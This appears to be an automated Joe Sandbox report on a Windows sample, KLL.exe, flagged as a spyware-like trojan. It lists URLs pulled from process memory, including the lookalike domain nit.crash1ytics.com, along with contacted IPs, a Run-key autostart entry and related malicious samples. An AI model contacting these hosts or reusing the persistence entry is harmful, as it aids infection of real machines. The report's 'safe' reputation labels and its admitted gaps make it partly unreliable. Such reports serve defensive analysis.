http://wpfanimatedgif.codeplex.com	LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
http://www.certum.pl/CPS0	KLL.exe, 00000000.00000002.2141572454.00007FF701BE4000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000002.2144478428.00007FF702033000.00000004.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.2035226671.00007FF701A0E000.00000008.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
http://foo/bar/themes/windowdictionary.bamld	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://intercom.help/letsvpn-world/en/collections/1611781-%E4%B8%AD%E6%96%87%E5%B8%AE%E5%8A%A9	LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp, LetsPRO.resources.dll2.19.dr	false	Avira URL Cloud: safe	unknown
http://foo/bar/themes/tabcontrollerdictionary.baml	LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nit.crash1ytics.com/app32/deviceHh	LetsPRO.exe, 00000034.00000002.4554290604.000000000F822000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://defaultcontainer/LetsPRO;component/app.xamld	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BC5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A2B000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032B5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000019.00000002.2289311446.0000000004C16000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4522692065.00000000031F3000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4522692065.00000000033E7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000019.00000002.2289311446.0000000004C16000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4522692065.00000000033E7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.certum.pl/ctnca.crl0k	KLL.exe, 00000000.00000002.2141572454.00007FF701BE4000.00000008.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000002.2144478428.00007FF702033000.00000004.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.2035226671.00007FF701A0E000.00000008.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000019.00000002.2289311446.0000000004C16000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4522692065.00000000031F3000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4522692065.00000000033E7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://intercom.help/letsvpn-world/en/articles/2926044-what-if-i-reached-maximum-connection-limit	LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/CommunityToolkit/dotnet	LetsPRO.exe, 00000034.00000002.4551634567.0000000006322000.00000002.00000001.01000000.0000001E.sdmp, CommunityToolkit.Mvvm.dll.19.dr	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f	LetsPRO.exe, 00000034.00000002.4552261430.00000000063D2000.00000002.00000001.01000000.00000022.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/themes/radiobuttondictionary.bamld	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	LetsPRO.exe, 00000034.00000002.4536454539.0000000004366000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.ver)	svchost.exe, 0000000C.00000002.3697465734.0000020BD3E00000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/themes/appmenudictionary.bamld	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nit.crash1ytics.comU	LetsPRO.exe, 00000034.00000002.4558940725.000000000FA54000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://0.0.0.0%2F0debuginfodebuginfoinfoinfoinfoinfoHTTP/1.1	LetsPRO.exe, 00000034.00000002.4555074935.000000000F892000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	letsvpn-latest.exe, 00000013.00000000.2129027999.000000000040A000.00000008.00000001.01000000.0000000D.sdmp, letsvpn-latest.exe, 00000013.00000003.2369349902.0000000000565000.00000004.00000020.00020000.00000000.sdmp, letsvpn-latest.exe, 00000013.00000002.2429590855.000000000040A000.00000004.00000001.01000000.0000000D.sdmp	false	URL Reputation: safe	unknown
http://www.symauth.com/cps0(	uc_ctrl.exe, 00000010.00000003.2111987373.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://defaultcontainer/LetsPRO;component/Themes/TextBoxDictionary.xamld	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6lBsq	powershell.exe, 00000016.00000002.2142060618.000000000500A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2142060618.0000000004FF9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2289311446.0000000004AC1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000019.00000002.2289311446.0000000004C16000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4522692065.00000000031F3000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4522692065.00000000033E7000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://nit.crash1ytics.coma90bc2279e3aaca6280acf90463a10dehttps://nit.crash1ytics.comSC-Set-NetIPIn	LetsPRO.exe, 00000034.00000002.4555599565.000000000F8B6000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/Themes/WindowDictionary.xaml	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://defaultcontainer/LetsPRO;component/Themes/TextBoxDictionary.xaml	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/rpa00	uc_ctrl.exe, 00000010.00000003.2111987373.00000000011AF000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://intercom.help/letsvpn-world/en/articles/2925752-how-to-download-letsvpn	LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://nit.crash1ytics.com/app32/device	LetsPRO.exe, 00000034.00000002.4558432196.000000000F9F2000.00000004.00001000.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4554146521.000000000F806000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000019.00000002.2289311446.0000000004C16000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000034.00000002.4522692065.00000000033E7000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.newtonsoft.com/jsonschema	LetsPRO.exe, 00000044.00000002.2602011812.0000000005702000.00000002.00000001.01000000.0000001D.sdmp	false	URL Reputation: safe	unknown
https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/8263010-windows-%E5%A6%82%E4%BD%95%E	LetsPRO.resources.dll2.19.dr	false	Avira URL Cloud: safe	unknown
http://crl.miJ2	powershell.exe, 00000019.00000002.2297334132.0000000006F25000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://intercom.help/letsvpn-world/en/articles/2780068-%E5%A6%82%E4%BD%95%E4%B8%8B%E8%BD%BD%E5%BE%9	LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp, LetsPRO.resources.dll2.19.dr	false	Avira URL Cloud: safe	unknown
https://USUS2.B	LetsPRO.exe, 00000034.00000002.4559763761.000000000FBE4000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.xmlspy.com)	System.Data.Odbc.dll.19.dr	false	Avira URL Cloud: safe	unknown
http://defaultcontainer/LetsPRO;component/Themes/ScrollViewDictionary.xaml	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://intercom.help/letsvpn-world/en/articles/2907458-%E6%8F%90%E7%A4%BA%E7%BB%91%E5%AE%9A%E8%AE%B	LetsPRO.resources.dll2.19.dr	false	Avira URL Cloud: safe	unknown
https://WSASend0.0.0.0%2F0WSARecvinfoinfo	LetsPRO.exe, 00000034.00000002.4558392700.000000000F9E6000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://d3jb1hiazbhf2r.cloudfront.net/letsvpn-world/en/articles/3130411-smartbyte-%E8%BD%AF%E4%BB%B6	LetsPRO.resources.dll2.19.dr	false	Avira URL Cloud: safe	unknown
https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f8	LetsPRO.exe, 00000034.00000002.4552307737.00000000063D6000.00000002.00000001.01000000.00000022.sdmp	false	Avira URL Cloud: safe	unknown
http://www.hardcodet.net/taskbar0	LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://intercom.help/letsvpn-world/en/collections/1628560-help-documents	LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp, LetsPRO.exe, 00000034.00000002.4522692065.0000000002F91000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.cnblogs.com/kliine/p/10950992.html	LetsPRO.exe, 00000048.00000002.2677666838.00000000031A9000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.000000000319A000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002AAD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002ABB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://repository.certum.pl/cscasha2.cer0	KLL.exe, 00000000.00000002.2144478428.00007FF702033000.00000004.00000001.01000000.00000003.sdmp, KLL.exe, 00000000.00000000.2035226671.00007FF701A0E000.00000008.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.sectigo.com0	System.ObjectModel.dll.19.dr	false	URL Reputation: safe	unknown
http://fedir.comsign.co.il/crl/comsignglobalrootca.crl0;	LetsPRO.exe, 00000034.00000002.4549763803.0000000005D77000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://letsvpn.world/terms.html	LetsPRO.exe, 00000034.00000000.2428812586.0000000000B82000.00000002.00000001.01000000.00000018.sdmp, LetsPRO.resources.dll2.19.dr	false	Avira URL Cloud: safe	unknown
http://defaultcontainer/LetsPRO;component/Themes/RadioButtonDictionary.xamld	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/app.xamld	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BC5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A2B000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032B5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/app.bamld	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BC5000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A2B000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032CD000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BDB000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/License	LetsPRO.exe, 00000034.00000002.4536454539.0000000004366000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://defaultcontainer/LetsPRO;component/Themes/AppMenuDictionary.xaml	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032FC000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://defaultcontainer/LetsPRO;component/Themes/WindowDictionary.xamld	LetsPRO.exe, 00000044.00000002.2592127030.0000000002BE4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000047.00000002.2599930286.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 00000048.00000002.2677666838.00000000032D4000.00000004.00000800.00020000.00000000.sdmp, LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/bar/themes/radiobuttondictionary.baml	LetsPRO.exe, 0000004A.00000002.2678581535.0000000002BE6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	KLL.exe, 00000000.00000003.2083647219.0000014B5D69D000.00000004.00000020.00020000.00000000.sdmp, KLL.exe, 00000000.00000003.2083572061.0000014B5F2F1000.00000004.00000020.00020000.00000000.sdmp, System.Data.Common.dll.19.dr, ToastNotifications.Messages.dll.19.dr, System.Linq.Queryable.dll.19.dr, System.Runtime.Serialization.Primitives.dll.19.dr, System.Windows.Interactivity.dll.19.dr, System.Diagnostics.FileVersionInfo.dll.19.dr, System.Runtime.Numerics.dll.19.dr, System.Web.Services.Description.resources.dll10.19.dr, System.Data.Odbc.dll.19.dr, Microsoft.Win32.Registry.AccessControl.dll.19.dr, System.Threading.Thread.dll.19.dr, System.Diagnostics.TraceSource.dll.19.dr, WebView2Loader.dll1.19.dr, System.Threading.Timer.dll.19.dr, System.ValueTuple.dll.19.dr, System.Security.Cryptography.Encoding.dll.19.dr, LetsPRO.resources.dll2.19.dr, CommunityToolkit.Mvvm.dll.19.dr, System.Web.Services.Description.resources.dll0.19.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
18.139.183.38	socket-ap1-ingress-1471706552.ap-southeast-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
183.60.146.66	unknown	China	134763	CT-DONGGUAN-IDCCHINANETGuangdongprovincenetworkCN	false
5.255.255.77	yandex.com	Russian Federation	13238	YANDEXRU	false
35.227.223.56	unknown	United States	15169	GOOGLEUS	false
154.204.0.5	unknown	Seychelles	134548	DXTL-HKDXTLTseungKwanOServiceHK	true
103.235.46.96	www.wshifen.com	Hong Kong	55967	BAIDUBeijingBaiduNetcomScienceandTechnologyCoLtd	false
18.239.15.44	d1dmgcawtbm6l9.cloudfront.net	United States	16509	AMAZON-02US	false
23.98.101.155	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.185.196	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1477236
Start date and time:	2024-07-20 16:12:35 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 14m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	74
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	KLL.exe
Detection:	MAL
Classification:	mal60.spre.troj.spyw.evad.winEXE@101/287@12/10
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, consent.exe, WMIADAP.exe, SIHClient.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 4.153.25.230, 2.23.209.177, 2.23.209.179, 2.23.209.185, 2.23.209.187, 2.23.209.176, 2.23.209.150, 2.23.209.182, 2.23.209.181, 2.23.209.158, 4.152.45.235, 4.152.45.255
Excluded domains from analysis (whitelisted): www.bing.com, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, in2-gw2-05-3d6c3051.eastus2.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, www-www.bing.com.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, in2-gw2-02-3d6c3051.eastus2.cloudapp.azure.com, in-prod-pme-eastus2-ingestion-66ddb56a.trafficmanager.net, e86303.dscx.akamaiedge.net, ocsp.digicert.com, www.bing.com.edgekey.net, in2-gw2-01-3d6c3051.eastus2.cloudapp.azure.com, e16604.g.akamaiedge.net, prod.fs.microsoft.com.akadns.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtEnumerateValueKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:13:27	API Interceptor	3x Sleep call for process: svchost.exe modified
10:13:27	API Interceptor	1x Sleep call for process: KLL.exe modified
10:13:47	API Interceptor	1x Sleep call for process: dllhost.exe modified
10:13:47	API Interceptor	14x Sleep call for process: powershell.exe modified
10:14:09	API Interceptor	3889643x Sleep call for process: LetsPRO.exe modified
10:14:12	API Interceptor	4275471x Sleep call for process: uc_ctrl.exe modified
16:14:10	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run LetsPRO "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent
16:14:18	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run LetsPRO "C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe" /silent

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
18.139.183.38	KLL.exe	Get hash	malicious	Unknown	Browse	ws-ap1.pusher.com/app/4fc436ef36f4026102d7?protocol=5&client=pusher-dotnet-client&version=1.1.2
183.60.146.66	KLL_1.exe	Get hash	malicious	Unknown	Browse
	KLL.exe	Get hash	malicious	Unknown	Browse
	KLL_1.exe	Get hash	malicious	Unknown	Browse
	KLL.exe	Get hash	malicious	Unknown	Browse
	lets-test.msi	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
	zx.exe	Get hash	malicious	Unknown	Browse
5.255.255.77	KLL_1.exe	Get hash	malicious	Unknown	Browse
	KLL.exe	Get hash	malicious	Unknown	Browse
	KLL_1.exe	Get hash	malicious	Unknown	Browse
	https://uitp5vcr.paperform.co/	Get hash	malicious	HTMLPhisher	Browse
	jonathan.cody e-Doc File_014216.docx	Get hash	malicious	HTMLPhisher	Browse
	Magmutual-Contractual-Agreement-usqe-276342429-.docx	Get hash	malicious	HTMLPhisher	Browse
	https://sites.google.com/view/dcnoterialsecu/accueil	Get hash	malicious	Unknown	Browse
	Memo98767_innocap.com.htm	Get hash	malicious	HTMLPhisher	Browse
	https://cw08037.tw1.ru/oro/messagerie.php	Get hash	malicious	Unknown	Browse
	http://9yhbs.contnova.srv.br/#X7	Get hash	malicious	Unknown	Browse
103.235.46.96	6o63snaetO.exe	Get hash	malicious	Unknown	Browse	www.baidu.com/
	http://metamask-zhwallet.org/	Get hash	malicious	Unknown	Browse	www.baidu.com/img/flexible/logo/plus_logo_web_2.png
	Tas10.dll	Get hash	malicious	BlackMoon	Browse	www.baidu.com/
	Tas8.dll	Get hash	malicious	BlackMoon	Browse	www.baidu.com/
	Tas8_WL.dll	Get hash	malicious	BlackMoon	Browse	www.baidu.com/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.wshifen.com	KLL_1.exe	Get hash	malicious	Unknown	Browse	103.235.46.96
	KLL.exe	Get hash	malicious	Unknown	Browse	103.235.46.96
	#U65b9#U6848#U7f16#U53f7FAI2-#U7b2c#U4e8c#U6279#U6b21(1).exe	Get hash	malicious	Unknown	Browse	103.235.47.188
	KLL_1.exe	Get hash	malicious	Unknown	Browse	103.235.46.96
	KLL.exe	Get hash	malicious	Unknown	Browse	103.235.46.96
	lets-test.msi	Get hash	malicious	Unknown	Browse	103.235.46.96
	yG5JwI8M2H.exe	Get hash	malicious	Unknown	Browse	103.235.47.188
	AAq2b5KtWK.exe	Get hash	malicious	Unknown	Browse	103.235.46.96
	zx.exe	Get hash	malicious	Unknown	Browse	103.235.46.96
	zx.exe	Get hash	malicious	Unknown	Browse	103.235.46.96
socket-ap1-ingress-1471706552.ap-southeast-1.elb.amazonaws.com	KLL_1.exe	Get hash	malicious	Unknown	Browse	18.139.169.84
	KLL.exe	Get hash	malicious	Unknown	Browse	18.139.183.38
	KLL_1.exe	Get hash	malicious	Unknown	Browse	18.136.78.90
	KLL.exe	Get hash	malicious	Unknown	Browse	18.136.78.90
	lets-test.msi	Get hash	malicious	Unknown	Browse	54.169.168.67
	zx.exe	Get hash	malicious	Unknown	Browse	52.220.169.49
	zx.exe	Get hash	malicious	Unknown	Browse	52.220.169.49
	zx.exe	Get hash	malicious	Unknown	Browse	52.220.169.49
	zx.exe	Get hash	malicious	Unknown	Browse	54.169.173.39
	zx.exe	Get hash	malicious	Unknown	Browse	52.74.233.99
d1dmgcawtbm6l9.cloudfront.net	KLL_1.exe	Get hash	malicious	Unknown	Browse	108.138.24.182
	KLL.exe	Get hash	malicious	Unknown	Browse	108.138.24.227
	KLL_1.exe	Get hash	malicious	Unknown	Browse	108.138.24.115
	KLL.exe	Get hash	malicious	Unknown	Browse	108.138.24.115
	lets-test.msi	Get hash	malicious	Unknown	Browse	3.164.160.102
	zx.exe	Get hash	malicious	Unknown	Browse	18.239.15.216
	zx.exe	Get hash	malicious	Unknown	Browse	3.164.160.24
	zx.exe	Get hash	malicious	Unknown	Browse	108.138.24.13
	zx.exe	Get hash	malicious	Unknown	Browse	108.138.24.227
	zx.exe	Get hash	malicious	Unknown	Browse	18.154.80.50
nal.fqoqehwib.com	KLL_1.exe	Get hash	malicious	Unknown	Browse	104.112.172.245
	KLL.exe	Get hash	malicious	Unknown	Browse	5.217.108.181
	KLL_1.exe	Get hash	malicious	Unknown	Browse	10.176.38.125
	KLL.exe	Get hash	malicious	Unknown	Browse	104.112.172.245
	lets-test.msi	Get hash	malicious	Unknown	Browse	104.112.172.245
	zx.exe	Get hash	malicious	Unknown	Browse	33.86.72.19
	zx.exe	Get hash	malicious	Unknown	Browse	99.34.124.121
	zx.exe	Get hash	malicious	Unknown	Browse	99.34.124.121
	zx.exe	Get hash	malicious	Unknown	Browse	99.34.124.121
	zx.exe	Get hash	malicious	Unknown	Browse	104.112.172.245

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CT-DONGGUAN-IDCCHINANETGuangdongprovincenetworkCN	KLL_1.exe	Get hash	malicious	Unknown	Browse	183.60.146.66
	KLL.exe	Get hash	malicious	Unknown	Browse	183.60.146.66
	KLL_1.exe	Get hash	malicious	Unknown	Browse	183.60.146.66
	KLL.exe	Get hash	malicious	Unknown	Browse	183.60.146.66
	SecuriteInfo.com.not-a-virus.HEUR.Downloader.Win32.Duba.gen.28830.27730.exe	Get hash	malicious	Unknown	Browse	183.61.243.1
	lets-test.msi	Get hash	malicious	Unknown	Browse	183.60.146.66
	zx.exe	Get hash	malicious	Unknown	Browse	183.60.146.66
	zx.exe	Get hash	malicious	Unknown	Browse	183.60.146.66
	zx.exe	Get hash	malicious	Unknown	Browse	183.60.146.66
	zx.exe	Get hash	malicious	Unknown	Browse	183.60.146.66
AMAZON-02US	file.exe	Get hash	malicious	Unknown	Browse	143.204.215.105
	file.exe	Get hash	malicious	Unknown	Browse	143.204.215.105
	file.exe	Get hash	malicious	Unknown	Browse	143.204.215.122
	file.exe	Get hash	malicious	Unknown	Browse	143.204.215.122
	KLL_1.exe	Get hash	malicious	Unknown	Browse	18.139.169.84
	file.exe	Get hash	malicious	Unknown	Browse	143.204.215.122
	KLL.exe	Get hash	malicious	Unknown	Browse	108.138.24.227
	file.exe	Get hash	malicious	Unknown	Browse	143.204.215.122
